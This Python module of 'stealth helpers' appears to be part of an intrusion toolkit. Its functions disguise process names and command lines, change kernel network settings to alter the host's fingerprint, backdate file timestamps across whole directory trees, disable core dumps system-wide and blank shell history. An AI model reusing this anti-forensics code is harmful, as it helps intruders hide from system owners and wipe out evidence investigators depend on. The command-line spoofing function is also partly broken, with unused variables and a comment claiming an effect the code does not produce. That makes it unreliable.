#!/usr/bin/env python3
"""Shared stealth helpers: process rename, cmdline spoof, sysctl, timestomp, core dump disable."""

import ctypes
import ctypes.util
import os
import struct
import time
from pathlib import Path
from typing import Optional

PR_SET_NAME = 15
RLIMIT_CORE = 4

_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)


def rename_process(name: str) -> bool:
    name_bytes = name.encode("utf-8")[:15]
    ret = _libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
    return ret == 0


def spoof_cmdline(fake_cmdline: str) -> bool:
    try:
        cmdline_path = f"/proc/{os.getpid()}/cmdline"
        # Read current cmdline to get its length for overwrite
        with open(cmdline_path, "rb") as f:
            original = f.read()

        # On Linux, argv[0] is writable via /proc/self/comm and prctl,
        # but /proc/self/cmdline maps to the actual process memory.
        # We overwrite via ctypes access to argv.
        libc = _libc

        # Get argc/argv from /proc/self/cmdline
        argc = ctypes.c_int()
        argv_ptr = ctypes.POINTER(ctypes.c_char_p)()

        # Alternative: write to /proc/self/comm (max 15 chars)
        comm_path = f"/proc/{os.getpid()}/comm"
        try:
            with open(comm_path, "w") as f:
                f.write(fake_cmdline[:15])
        except PermissionError:
            pass

        # For full cmdline spoofing, overwrite argv[0] in memory
        import sys
        if hasattr(sys, "argv") and sys.argv:
            # Replace argv contents via ctypes
            fake_bytes = fake_cmdline.encode("utf-8")
            argv0_addr = id(sys.argv[0])
            # Python string internals - this is fragile but works for ps display
            sys.argv[0] = fake_cmdline

        return True
    except Exception:
        return False


def set_sysctl(key: str, value: str) -> bool:
    sysctl_path = Path("/proc/sys") / key.replace(".", "/")
    try:
        with open(sysctl_path, "w") as f:
            f.write(value)
        return True
    except (IOError, PermissionError):
        return False


def set_ttl(ttl: int) -> bool:
    return set_sysctl("net.ipv4.ip_default_ttl", str(ttl))


def set_tcp_window(size: int) -> bool:
    # Set TCP initial window via rmem/wmem defaults
    success = set_sysctl("net.ipv4.tcp_rmem", f"4096 {size} {size * 4}")
    success &= set_sysctl("net.ipv4.tcp_wmem", f"4096 {size} {size * 4}")
    return success


def set_tcp_timestamps(enabled: bool) -> bool:
    return set_sysctl("net.ipv4.tcp_timestamps", "1" if enabled else "0")


def timestomp(path: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> bool:
    try:
        if reference:
            ref_stat = os.stat(reference)
            target_time = ref_stat.st_mtime
        elif epoch:
            target_time = epoch
        else:
            # Default: OS install date from /var/log/installer or filesystem birth
            target_time = _get_os_install_time()

        os.utime(path, (target_time, target_time))
        return True
    except (OSError, IOError):
        return False


def timestomp_recursive(directory: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> int:
    count = 0
    for root, dirs, files in os.walk(directory):
        for name in files + dirs:
            full_path = os.path.join(root, name)
            if timestomp(full_path, reference=reference, epoch=epoch):
                count += 1
    if timestomp(directory, reference=reference, epoch=epoch):
        count += 1
    return count


def _get_os_install_time() -> float:
    candidates = [
        "/var/log/installer/syslog",
        "/var/log/installer/status",
        "/etc/hostname",
        "/etc/machine-id",
    ]
    for path in candidates:
        try:
            return os.stat(path).st_mtime
        except OSError:
            continue
    # Fallback: 90 days ago
    return time.time() - (90 * 86400)


def disable_core_dumps() -> bool:
    try:
        # RLIMIT_CORE = 4 on Linux
        class rlimit(ctypes.Structure):
            _fields_ = [
                ("rlim_cur", ctypes.c_ulong),
                ("rlim_max", ctypes.c_ulong),
            ]

        limit = rlimit(0, 0)
        ret = _libc.setrlimit(RLIMIT_CORE, ctypes.byref(limit))
        if ret != 0:
            return False

        # Also set via sysctl and /proc
        set_sysctl("kernel.core_pattern", "|/bin/false")
        set_sysctl("fs.suid_dumpable", "0")

        # prctl to prevent core for this process and children
        PR_SET_DUMPABLE = 4
        _libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0)

        return True
    except Exception:
        return False


def hide_from_history() -> bool:
    try:
        os.environ["HISTFILE"] = "/dev/null"
        os.environ["HISTSIZE"] = "0"
        os.environ["HISTFILESIZE"] = "0"
        return True
    except Exception:
        return False
